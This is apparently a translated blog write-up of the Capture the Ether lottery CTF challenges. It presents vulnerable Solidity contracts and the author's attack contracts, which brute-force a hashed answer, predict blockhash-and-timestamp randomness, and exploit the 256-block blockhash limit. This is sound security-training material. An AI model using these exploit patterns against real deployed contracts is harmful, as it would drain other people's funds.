キャプチャー・ザ・エーテル(宝くじ)

宝くじ

次の各課題では、推測するときに答えを正しく推測することが目標です。

質問 1:数字を当ててください

コード:

pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
    uint8 answer = 42;
    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

非常に簡単です。推測する数字はタイトルに直接指定されている 42 です。42 を入力するだけでコントラクトを展開できます。

質問 2:秘密の番号を推測してください

コード:

pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

タイトルで指定したanswerHashと同じハッシュ値を持つuint8型の数値を与える必要があります。uint8の最大値は255以下なので、列挙メソッドを使用してforループを記述して1つずつ判断できます。

攻撃コード:

pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    uint8 public answer;
    function guess() public payable {
        for(uint8 i = 0; i < 255; i++) {
            if (keccak256(i) == answerHash) {
                answer = i;
            }
        }
    }
}

コントラクトをデプロイし、攻撃コントラクトのguess メソッドを呼び出して答えを取得し、その答えをターゲット コントラクトに入力します。 

質問 3:乱数 を推測してください

コード:

pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
    uint8 answer;
    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);
        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

この質問に対する答えは、block.number と、コントラクトをデプロイするときに 生成されます。block.number は、コントラクトをデプロイするときのブロックの高さであり、簡単に取得できます。now は、現在のタイムスタンプですが、面倒な場所です。挿入されたプロバイダーを使用できます。リミックスで使用されるメタマスク ウォレット デプロイメント コントラクト。(タイトルの 1 エーテルは高すぎます。自分で下げることができます。ここでは 1 フィニーに相当する 0.001 エーテルを使用します)

 コントラクトをデプロイした後、ブロックチェーン ブラウザーでコントラクトのステータスを確認し、etherscan で表示をクリックします。

現在のトランザクション情報を確認できます。

「State」をクリックすると、2 番目のアドレスがコントラクトのアドレスになります。その横の矢印をクリックすると、コントラクト内のストレージ変数の変更が表示されます。数値型に変換すると、答えが 99 であることがわかります。 

答え 99 を入力してください:

質問 4:新しい 番号を推測してください

コード:

pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

この質問の答えは、推測関数を実行すると生成されます。前の質問の方法は機能しません。攻撃関数を作成し、答えを構築し、攻撃関数から推測関数を呼び出すことができます。

攻撃コード:

pragma solidity ^0.4.21;
import "./GuessTheNewNumber.sol";
contract Poc {
    GuessTheNewNumberChallenge target;
    function pwn() public payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        target.guess.value(0.001 ether)(answer);
    }
    function Poc(address _addr) public {
        target = GuessTheNewNumberChallenge(_addr);
    }
    function () public payable {}
}

pwn 関数を通じて、回答 (now と blocknumber は同じトランザクション内で同じです) を生成し、ターゲット コントラクトのguess 関数を呼び出して回答を渡します。

コントラクトをデプロイし、 pwn 関数を呼び出します。

 攻撃完了 

トピック 5:未来を予測する

コード:

pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;
    function PredictTheFutureChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);
        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

この質問の答えは前の質問と同じ方法で生成されます。生成には依然として block.number と now が使用されますが、推測の範囲は 0 ~ 10 になります。前の質問との違いは、最初に次のことが必要であることです。 lockInGuess 関数を使用して値を設定します。推測した数字、つまり、推測した数字は確かですが、答えは変わるため、設定した推測が同じである場合に Set 関数を実行するコントラクトを構築できます。現在の答え。

攻撃コード:

pragma solidity ^0.4.21;
import "./PredictTheFuture.sol";
contract attack {
    PredictTheFutureChallenge challenge;
    constructor(address _addr) public {
        challenge = PredictTheFutureChallenge(_addr);
    }
    function gue() public payable {
        challenge.lockInGuess.value(msg.value)(5);
    }
    function set() public payable {
        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        if (result == 5) {
            challenge.settle();
        }
    }
    function() public payable{}
}

コントラクトをデプロイするには、最初にguess関数を呼び出して推測を設定し(私は5を選択しました)、次に成功するまでset関数を呼び出します(運次第です)。

質問 6:ハッシュ番号を推測してください

コード:

pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;
    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        bytes32 answer = block.blockhash(settlementBlockNumber);
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

タイトルでは、次のブロックの 256 ビット ハッシュ値を推測する必要があります。

スケーラビリティ上の理由から、ブロック ハッシュはすべてのブロックで利用できるわけではありません。アクセスできるのは最後の 256 ブロックのハッシュのみで、他の値はすべてゼロになります。

したがって、この問題を解決するには256ブロックを待つだけで済みます

攻撃コード:

pragma solidity ^0.4.21;

import "./PredictBlockHash.sol";
contract attack {
    PredictTheBlockHashChallenge challenge;
    uint256 blockNumber;
    bytes32 answer;
    function attack(address _addr) public {
        challenge = PredictTheBlockHashChallenge(_addr);
    }
    function guess() public payable {
        blockNumber = block.number + 1;
        challenge.lockInGuess.value(0.001 ether)(answer);
    }
    function pwn() public {
        require(block.number-256 > blockNumber,"Didn't generate 256 blocks");
        challenge.settle();
    }
    function ()external payable{}
}

最初に攻撃コントラクトのguess関数を呼び出し、0を格納し、256ブロックが生成された後にpwn関数を呼び出します(待ち時間はかなり長いです)。

おすすめ

転載: blog.csdn.net/m0_52030813/article/details/127837420